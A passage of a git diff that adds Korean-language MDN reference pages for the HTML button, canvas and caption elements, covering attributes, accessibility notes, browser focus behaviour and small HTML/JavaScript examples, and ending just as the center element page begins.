+ <dd>버튼과 연결할 {{HTMLElement("form")}} 요소("양식 소유자"). 같은 문서에 존재하는 <code>&lt;form&gt;</code> 요소의 {{htmlattrxref("id")}} 특성 값을 사용해야 합니다. <code>form</code> 특성을 지정하지 않았으나 조상 중 <code>&lt;form&gt;</code> 요소가 존재하면 해당 <code>&lt;form&gt;</code>과 연결됩니다.</dd>
+ <dd><code>form</code> 특성을 사용하면 버튼을 <code>&lt;form&gt;</code> 요소에 넣지 않고도 연결할 수 있고, 조상 중 <code>&lt;form&gt;</code>이 있더라도 소유자를 재정의할 수 있습니다.</dd>
+ <dt>{{htmlattrdef("formaction")}}</dt>
+ <dd><code>&lt;button&gt;</code>이 제출 버튼인 경우, 제출한 정보를 처리할 URL. 지정한 경우, 버튼의 양식 소유자가 가진 {{htmlattrxref("action","form")}} 특성보다 우선합니다. 양식 소유자가 존재하지 않으면 영향을 주지 않습니다.</dd>
+ <dt>{{htmlattrdef("formenctype")}}</dt>
+ <dd><code>&lt;button&gt;</code>이 제출 버튼인 경우, <code>formenctype</code> 특성은 양식을 서버로 제출할 때 사용할 양식 데이터 인코딩을 지정합니다. 가능한 값은 다음과 같습니다.
+ <ul>
+  <li><code>application/x-www-form-urlencoded</code>: 기본값.</li>
+  <li><code>multipart/form-data</code>: {{htmlattrxref("type","input")}} 특성이 <code>file</code>인 {{HTMLElement("input")}}이 존재하는 양식에서 사용하세요.</li>
+  <li><code>text/plain</code>: 디버깅 전용으로 명세에 추가된 값입니다. 실제 양식 제출 시 사용해선 안됩니다.</li>
+ </ul>
+
+ <p>지정한 경우, 버튼의 양식 소유자가 가진 {{htmlattrxref("enctype","form")}} 특성보다 우선합니다.</p>
+ </dd>
+ <dt>{{htmlattrdef("formmethod")}}</dt>
+ <dd><code>&lt;button&gt;</code>이 제출 버튼인 경우, <code>formmethod</code> 특성은 양식을 서버로 제출할 때 사용할 <a href="/ko/docs/Web/HTTP/Methods">HTTP 메서드</a>를 지정합니다. 가능한 값은 다음과 같습니다.
+ <ul>
+  <li><code>post</code>: 양식의 데이터를 HTTP 요청 본문에 넣습니다. 비밀번호처럼, 양식 데이터 중 공개하지 않아야 하는 항목이 있으면 사용하세요.</li>
+  <li><code>get</code>: 양식 <code>action</code> URL 뒤에 <code>?</code> 를 추가한 후 양식 데이터를 덧붙입니다. 검색 양식처럼, 양식이 사이드 이펙트를 갖지 않을 때 사용하세요.</li>
+ </ul>
+
+ <p>지정한 경우, 버튼의 양식 소유자가 가진 {{htmlattrxref("method","form")}} 특성보다 우선합니다.</p>
+ </dd>
+ <dt>{{htmlattrdef("formnovalidate")}}</dt>
+ <dd><code>&lt;button&gt;</code>이 제출 버튼인 경우, <code>formnovalidate</code> 특성은 양식을 제출할 때 <a href="/ko/docs/Learn/Forms/Form_validation">유효성 검사</a>를 하지 않겠다는 것을 지정합니다. 지정한 경우, 버튼의 양식 소유자가 가진 {{htmlattrxref("novalidate","form")}} 특성보다 우선합니다.</dd>
+ <dt>{{htmlattrdef("formtarget")}}</dt>
+ <dd><code>&lt;button&gt;</code>이 제출 버튼인 경우, <code>formtarget</code> 특성에는 양식 제출의 결과를 표시할 위치를 나타내는 표준 키워드 혹은 사용자 지정 이름을 사용할 수 있습니다. 가능한 값은 {{glossary("browsing context", "브라우징 맥락")}}(탭, 창, {{htmlelement("iframe")}})의 이름 또는 키워드입니다. 지정한 경우, 버튼의 양식 소유자가 가진 {{htmlattrxref("target","form")}} 특성보다 우선합니다. 다음 키워드는 특별한 뜻을 가지고 있습니다.
+ <ul>
+  <li><code>_self</code>: 응답을 현재 브라우징 맥락에 표시합니다. 기본값.</li>
+  <li><code>_blank</code>: 응답을 새로운 브라우징 맥락에 표시합니다. 보통 새 탭이지만, 사용자가 브라우저 설정을 통해 새 창으로 바꿀 수 있습니다.</li>
+  <li><code>_parent</code>: 응답을 현재 브라우징 맥락의 부모에 표시합니다. 부모가 존재하지 않으면 <code>_self</code>와 동일하게 행동합니다.</li>
+  <li><code>_top</code>: 응답을 최상단 브라우징 맥락(현재 맥락의 부모면서 자신의 부모가 존재하지 않는, 제일 높은 맥락)에 표시합니다. 부모가 존재하지 않으면 <code>_self</code>와 동일하게 행동합니다.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>버튼의 이름. 제출할 때, 버튼의 <code>value</code> 특성과 함께 양식 데이터의 일부를 구성합니다.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>버튼의 행동 방식. 가능한 값은 다음과 같습니다.
+ <ul>
+  <li><code>submit</code>: 버튼이 서버로 양식 데이터를 제출합니다. 지정하지 않은 경우 기본값이며, 유효하지 않은 값일 때도 사용합니다.</li>
+  <li><code>reset</code>: <code>&lt;input type="reset"&gt;</code>처럼, 모든 컨트롤을 초깃값으로 되돌립니다.</li>
+  <li><code>button</code>: 기본 행동이 없으며 클릭했을 때 아무것도 하지 않습니다. 클라이언트측 스크립트와 연결할 수 있습니다.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>버튼의 초깃값. 제출할 때, 버튼의 <code>value</code> 특성과 함께 양식 데이터의 일부를 구성합니다.</dd>
+</dl>
+
+<h2 id="참고">참고</h2>
+
+<p><code>&lt;button&gt;</code> 요소는 {{HTMLElement("input")}} 요소보다 스타일을 적용하기 훨씬 수월합니다. <code>&lt;input&gt;</code>은 <code>value</code> 특성에 텍스트 값밖에 지정할 수 없지만, <code>&lt;button&gt;</code>은 내부 HTML 콘텐츠(<code>&lt;em&gt;</code>, <code>&lt;strong&gt;</code>, 심지어 <code>&lt;img&gt;</code>도)에 더해 {{Cssxref("::after")}}와 {{Cssxref("::before")}} 의사 요소를 사용하는 복잡한 렌더링도 가능합니다.</p>
+
+<p>양식 제출용 버튼이 아니라면 <code>type</code> 특성을 <code>button</code>으로 지정하는걸 잊지 마세요. 기본값에서는 버튼을 눌렀을 때 양식 데이터를 제출하고, (존재하지 않는) 응답을 불러오려고 시도하는 과정에서 문서의 현재 상태가 사라질 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:html">&lt;button name="button"&gt;눌러보세요&lt;/button&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('예제', 200, 64) }}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<h3 id="아이콘_버튼">아이콘 버튼</h3>
+
+<p>아이콘만 사용해 기능을 표현하는 버튼은 접근 가능한 이름을 갖지 않습니다. 접근 가능한 이름은 스크린 리더 등 접근성 보조 기술이 문서를 분석하고 <a href="/ko/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">접근성 트리</a>를 생성할 때 사용할 수 있는 프로그램 훅을 제공합니다. 그 후 보조 기술이 페이지 콘텐츠를 탐색하고 조작할 때 접근성 트리를 사용합니다.</p>
+
+<p>아이콘 버튼에 접근 가능한 이름을 부여하려면, <code>&lt;button&gt;</code> 요소의 기능을 간략히 묘사하는 텍스트를 안에 포함하세요.</p>
+
+<h4 id="예제_2">예제</h4>
+
+<pre class="brush: html">&lt;button name="favorite" type="button"&gt;
+  &lt;svg aria-hidden="true" viewBox="0 0 10 10"&gt;&lt;path d="M7 9L5 8 3 9V6L1 4h3l1-3 1 3h3L7 6z"/&gt;&lt;/svg&gt;
+  Add to favorites
+&lt;/button&gt;
+</pre>
+
+<p id="Result_3">텍스트를 숨기고 싶은 경우, 접근 가능한 방식은 <a href="https://gomakethings.com/hidden-content-for-better-a11y/#hiding-the-link">CSS 속성을 조합</a>해 시각적으로는 숨기고, 보조 기술은 읽을 수 있는 형태로 남기는 것입니다.</p>
+
+<p>그러나, 버튼의 텍스트를 시각적으로 남겨놓는 것은 아이콘의 뜻이나 버튼의 기능에 익숙하지 않은 사용자도 도울 수 있다는 점을 명심해야 합니다. 특히 기술과 가깝지 않거나, 문화적으로 다른 해석을 할 수 있는 사용자를 고려하세요.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/04/what-is-an-accessible-name/">What is an accessible name? | The Paciello Group</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Robust#Guideline_4.1_—_Compatible_Maximize_compatibility_with_current_and_future_user_agents_including_assistive_technologies">MDN Understanding WCAG, Guideline 4.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/ensure-compat-rsv.html">Understanding Success Criterion 4.1.2 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h3 id="크기와_간격">크기와 간격</h3>
+
+<h4 id="크기">크기</h4>
+
+<p>버튼과 같은 대화형 요소는 상호작용하기 충분한 크기의 활성화 영역을 가져야 합니다. 충분한 크기는 운동 조절 장애를 가진 사용자와, 터치스크린처럼 정확하지 않은 입력 도구 사용자처럼 다양한 사람을 돕습니다. 최소 44x44의 <a class="external external-icon" href="https://www.w3.org/TR/WCAG21/#dfn-css-pixels" rel="noopener">CSS 픽셀</a> 크기를 권고합니다.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/target-size.html">Understanding Success Criterion 2.5.5: Target Size | W3C Understanding WCAG 2.1</a></li>
+ <li><a href="http://adrianroselli.com/2019/06/target-size-and-2-5-5.html">Target Size and 2.5.5 | Adrian Roselli</a></li>
+ <li><a href="https://a11yproject.com/posts/large-touch-targets/">Quick test: Large touch targets - The A11Y Project</a></li>
+</ul>
+
+<h4 id="간격">간격</h4>
+
+<p>버튼과 같은 대화형 요소 다수를 시각적으로 가까이 배치할 땐 서로를 분리하는 공간을 둬야 합니다. 간격은 운동 조절 장애를 가진 사용자가 원하지 않는 상호작용을 하는걸 방지할 수 있습니다.</p>
+
+<p>간격은 {{cssxref("margin")}}과 같은 CSS 속성으로 설정할 수 있습니다.</p>
+
+<ul>
+ <li><a href="https://axesslab.com/hand-tremors/">Hand tremors and the giant-button-problem - Axess Lab</a></li>
+</ul>
+
+<div class="hidden">
+<h3 id="Firefox">Firefox</h3>
+
+<p>Firefox will add a small dotted border on a focused button. This border is declared through CSS in the browser stylesheet, but you can override it to add your own focused style using <code><a href="/en-US/docs/Web/CSS/::-moz-focus-inner">button::-moz-focus-inner { }</a></code>.</p>
+
+<p>If overridden, it is important to <strong>ensure that the state change when focus is moved to the button is high enough</strong> that people experiencing low vision conditions will be able to perceive it.</p>
+
+<p>Color contrast ratio is determined by comparing the luminosity of the button text and background color values compared to the background the button is placed on. In order to meet current <a href="https://www.w3.org/WAI/intro/wcag" rel="noopener">Web Content Accessibility Guidelines (WCAG)</a>, a ratio of 4.5:1 is required for text content and 3:1 for large text. (Large text is defined as 18.66px and {{cssxref("font-weight", "bold")}} or larger, or 24px or larger.)</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/">WebAIM: Color Contrast Checker</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+</div>
+
+<h3 id="클릭과_포커스">클릭과 포커스</h3>
+
+<p><code>&lt;button&gt;</code>을 클릭했을 때 포커스를 얻는 여부는 브라우저와 운영체제에 따라 다릅니다. 아래 표는 {{HTMLElement("input")}}이 <code>type="button"</code> 또는 <code>type="submit"</code>일 때도 동일합니다.</p>
+
+<table>
+ <caption>{{HTMLElement("button")}}을 클릭했을 때 포커스를 부여하나?</caption>
+ <thead>
+  <tr>
+   <th>데스크톱 브라우저</th>
+   <th>Windows 8.1</th>
+   <th>OS X 10.X</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Firefox</th>
+   <td class="bc-supports-yes">예 - Firefox 30.0</td>
+   <td class="bc-supports-no">(<code>tabindex</code>가 존재해도) 아니오 - Firefox 63</td>
+  </tr>
+  <tr>
+   <th>Chrome</th>
+   <td class="bc-supports-yes">예 - Chrome 35</td>
+   <td class="bc-supports-yes">예 - Chrome 65</td>
+  </tr>
+  <tr>
+   <th>Safari</th>
+   <td style="background: #eee;">N/A</td>
+   <td class="bc-supports-no">(<code>tabindex</code>가 존재해도) 아니오 - Safari 12 (<a href="https://bugs.webkit.org/show_bug.cgi?id=22261">bug 22261</a>)</td>
+  </tr>
+  <tr>
+   <th>Internet Explorer</th>
+   <td class="bc-supports-yes">예 - Internet Explorer 11</td>
+   <td style="background: #eee;">N/A</td>
+  </tr>
+  <tr>
+   <th>Presto</th>
+   <td class="bc-supports-yes">예 - Opera 12</td>
+   <td class="bc-supports-yes">예 - Opera 12</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <caption>{{HTMLElement("button")}}을 탭했을 때 포커스를 부여하나?</caption>
+ <thead>
+  <tr>
+   <th>모바일 브라우저</th>
+   <th>iOS 7.1.2</th>
+   <th>Android 4.4.4</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Safari Mobile</th>
+   <td class="bc-supports-no">(<code>tabindex</code>가 존재해도) 아니오</td>
+   <td style="background-color: #eeeeee;">N/A</td>
+  </tr>
+  <tr>
+   <th>Chrome 35</th>
+   <td class="bc-supports-no">(<code>tabindex</code>가 존재해도) 아니오</td>
+   <td class="bc-supports-yes">예</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'form-elements.html#the-button-element', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-button-element', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.5', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.button")}}</p>
diff --git a/files/ko/web/html/element/canvas/index.html b/files/ko/web/html/element/canvas/index.html
new file mode 100644
index 0000000000..c9b9305e52
--- /dev/null
+++ b/files/ko/web/html/element/canvas/index.html
@@ -0,0 +1,194 @@
+---
+title: '<canvas>: 그래픽 캔버스 요소'
+slug: Web/HTML/Element/canvas
+tags:
+  - Canvas
+  - Element
+  - HTML
+  - HTML scripting
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/canvas
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;canvas&gt;</code> 요소</strong>는 <a href="/ko/docs/Web/HTML/Canvas">캔버스 스크립팅 API</a> 또는 <a href="/ko/docs/Web/API/WebGL_API">WebGL API</a>와 함께 사용해 그래픽과 애니메이션을 그릴 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#내장_콘텐츠">내장 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#투명_콘텐츠_모델">투명</a>하지만 <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a>가 아닌 요소. 단, {{HTMLElement("a")}}, {{HTMLElement("button")}}, 그리고 {{HTMLElement("input")}} 중 {{htmlattrxref("type", "input")}} 특성이 <code>checkbox</code>, <code>radio</code>, <code>button</code>인 요소는 가능</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLCanvasElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>좌표 공간의 높이입니다. CSS 픽셀 단위로, 기본값은 150입니다.</dd>
+ <dt>{{htmlattrdef("moz-opaque")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>투명도가 중요한 요소인지를 캔버스에 알려줍니다. 투명도가 없음을 알게되면 페인팅 성능이 최적화됩니다. Mozilla 기반 브라우저에서만 지원하므로, 표준 {{domxref("HTMLCanvasElement.getContext()", "canvas.getContext('2d', { alpha: false })")}} 를 대신 사용하세요.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>좌표 공간의 너비입니다. CSS 픽셀 단위로, 기본값은 300입니다.</dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<h3 id="대체_콘텐츠">대체 콘텐츠</h3>
+
+<p><code>&lt;canvas&gt;</code> 블록 안에 콘텐츠를 추가해 대체 콘텐츠로서 사용할 수 있습니다. 대체 콘텐츠는 캔버스를 지원하지 않는 구형 브라우저와, JavaScript를 비활성화한 브라우저에서 표시됩니다. 유용한 대체 텍스트, 혹은 하위 DOM을 제공하면 캔버스의 접근성을 향상할 수 있습니다.</p>
+
+<h3 id="닫는_태그_필수">닫는 태그 필수</h3>
+
+<p>{{HTMLElement("img")}} 요소와 달리, <code>&lt;canvas&gt;</code> 요소는 닫는 태그(<code>&lt;/canvas&gt;</code>)를 필요로 합니다.</p>
+
+<h3 id="캔버스_크기_조절_CSS_vs._HTML">캔버스 크기 조절: CSS vs. HTML</h3>
+
+<p>캔버스의 표시 크기는 CSS로도 수정할 수 있습니다. 그러나, CSS를 사용할 경우 렌더링 과정에서 CSS 크기에 맞추기 위해 이미지의 크기를 조절하므로, 최종 그래픽이 변형될 수 있습니다.</p>
+
+<p>따라서 <code>&lt;canvas&gt;</code> 요소의 <code>width</code>와 <code>height</code> 특성을 통해 직접 크기를 바꾸는 것이 좋습니다. HTML에서 직접 할 수도 있고, JavaScript를 사용할 수도 있습니다.</p>
+
+<h3 id="최대_캔버스_크기">최대 캔버스 크기</h3>
+
+<p><code>&lt;canvas&gt;</code> 요소의 최대 크기는 매우 크지만, 정확한 최대 크기는 브라우저마다 다릅니다. 다음 표는 다양한 테스트와 여러 출처(<a href="https://stackoverflow.com/questions/6081483/maximum-size-of-a-canvas-element">Stack Overflow</a> 등)에서 수집한 값입니다.</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">브라우저</th>
+   <th scope="col">최대 높이</th>
+   <th scope="col">최대 너비</th>
+   <th scope="col">최대 크기</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Chrome</td>
+   <td>32,767 픽셀</td>
+   <td>32,767 픽셀</td>
+   <td>268,435,456 픽셀 (i.e., 16,384 x 16,384)</td>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>32,767 픽셀</td>
+   <td>32,767 픽셀</td>
+   <td>472,907,776 픽셀 (i.e., 22,528 x 20,992)</td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td>32,767 픽셀</td>
+   <td>32,767 픽셀</td>
+   <td>268,435,456 픽셀 (i.e., 16,384 x 16,384)</td>
+  </tr>
+  <tr>
+   <td>IE</td>
+   <td>8,192 픽셀</td>
+   <td>8,192 픽셀</td>
+   <td>?</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 최대 면적 또는 영역을 초과하면 그리기 명령이 동작하지 않으므로, 캔버스를 사용할 수 없습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<p>이 코드 조각은 HTML 문서에 캔버스를 추가합니다. 대체 텍스트를 추가해서 브라우저가 캔버스를 렌더링 할 수 없거나, 캔버스를 읽을 수 없는 경우에 대비했습니다.</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;
+  캔버스의 내용을 설명하는 대체 텍스트
+&lt;/canvas&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>그 다음, JavaScript 코드 내에서 {{domxref("HTMLCanvasElement.getContext()")}}를 호출해 그리기 맥락을 얻어서 캔버스 위에 그립니다.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="접근성_문제">접근성 문제</h2>
+
+<h3 id="대체_콘텐츠_2">대체 콘텐츠</h3>
+
+<p><code>&lt;canvas&gt;</code> 요소 자체는 비트맵에 불과하며 그려진 객체에 대한 어떠한 정보도 제공하지 않습니다. 캔버스 콘텐츠는 시맨틱 HTML 같은 접근성 도구에 노출되지 않습니다. 일반적으로 접근성 웹 사이트나 앱에서는 캔버스 사용을 피해야 합니다. 다음 안내서는 캔버스를 보다 쉽게 접근 가능한 형태로 사용하는 법을 설명합니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">MDN Hit regions and accessability</a></li>
+ <li><a href="https://www.w3.org/WAI/PF/HTML/wiki/Canvas_Accessibility_Use_Cases">Canvas 접근성 유즈 케이스</a></li>
+ <li><a href="https://www.w3.org/html/wg/wiki/AddedElementCanvas">Canvas 엘리먼트 접근성 문제</a></li>
+ <li><a href="http://www.paciellogroup.com/blog/2012/06/html5-canvas-accessibility-in-firefox-13/">Firefox 13 의 HTML5 Canvas 접근성 – by Steve Faulkner</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/scripting.html#best-practices">대화형 캔버스 엘리먼트의 모범 사례</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'semantics-scripting.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.canvas")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTML/Canvas">Canvas API</a></li>
+ <li><a href="/ko/docs/Web/HTML/Canvas/Tutorial">캔버스 자습서</a></li>
+ <li><a href="https://simon.html5.org/dump/html5-canvas-cheat-sheet.html">캔버스 치트 시트</a></li>
+ <li><a href="/ko/docs/Web/Demos_of_open_web_technologies">캔버스 관련 데모</a></li>
+</ul>
diff --git a/files/ko/web/html/element/caption/index.html b/files/ko/web/html/element/caption/index.html
new file mode 100644
index 0000000000..4766e0588e
--- /dev/null
+++ b/files/ko/web/html/element/caption/index.html
@@ -0,0 +1,153 @@
+---
+title: '<caption>: 표 설명 요소'
+slug: Web/HTML/Element/caption
+tags:
+  - Element
+  - HTML
+  - HTML tabular data
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/caption
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;caption&gt;</code> 요소</strong>는 표의 설명 또는 제목을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/caption.html", "tabbed-taller")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>바로 뒤에 스페이스나 주석이 오지 않으면 닫는 태그를 생략할 수 있습니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>{{htmlelement("table")}} 요소. 첫 번째 자식이어야 합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLTableCaptionElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<div class="hidden">
+<h3 id="Obsolete_attributes">Obsolete attributes</h3>
+
+<p>The following attributes are obsolete and should not be used. They are documented below for reference when updating existing code and for historical interest only.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{obsolete_inline}}</dt>
+ <dd>This enumerated attribute indicates how the caption must be aligned with respect to the table. It may have one of the following values:
+ <dl>
+  <dt><code>left</code></dt>
+  <dd>The caption is displayed to the left of the table.</dd>
+  <dt><code>top</code></dt>
+  <dd>The caption is displayed above the table.</dd>
+  <dt><code>right</code></dt>
+  <dd>The caption is displayed to the right of the table.</dd>
+  <dt><code>bottom</code></dt>
+  <dd>The caption is displayed below the table.</dd>
+ </dl>
+
+ <div class="note"><strong>Usage note: </strong>Do not use this attribute, as it has been deprecated. The {{HTMLElement("caption")}} element should be styled using the <a href="/en-US/docs/CSS">CSS</a> properties {{cssxref("caption-side")}} and {{cssxref("text-align")}}.</div>
+ </dd>
+</dl>
+</div>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;caption&gt;</code> 요소는 부모 {{htmlelement("table")}} 요소의 첫 번째 자식이어야 합니다.</p>
+
+<p><code>&lt;caption&gt;</code> 요소를 가진 <code>&lt;table&gt;</code> 요소가 만약 {{HTMLElement("figure")}} 요소의 유일한 자식인 경우, {{htmlelement("figcaption")}}을 대신 사용하세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음의 간단한 예제는 설명을 포함한 표를 보입니다.</p>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;caption&gt;Example Caption&lt;/caption&gt;
+  &lt;tr&gt;
+    &lt;th&gt;Login&lt;/th&gt;
+    &lt;th&gt;Email&lt;/th&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;user1&lt;/td&gt;
+    &lt;td&gt;user1@sample.com&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td&gt;user2&lt;/td&gt;
+    &lt;td&gt;user2@sample.com&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">caption {
+  caption-side: top;
+  align: right;
+}
+table {
+  border-collapse: collapse;
+  border-spacing: 0px;
+}
+table, th, td {
+  border: 1px solid black;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('예제', 650, 100)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'tables.html#the-caption-element', '&lt;caption&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'tabular-data.html#the-caption-element', '&lt;caption&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/tables.html#h-11.2.2', '&lt;caption&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.caption")}}</p>
diff --git a/files/ko/web/html/element/center/index.html b/files/ko/web/html/element/center/index.html
new file mode 100644
index 0000000000..bd545b19f6
--- /dev/null
+++ b/files/ko/web/html/element/center/index.html
@@ -0,0 +1,51 @@
+---
+title: <center>
+slug: Web/HTML/Element/center
+translation_of: Web/HTML/Element/center
+---
+<div>{{deprecated_header()}}</div>
+
+<h2 id="개요">개요</h2>
+
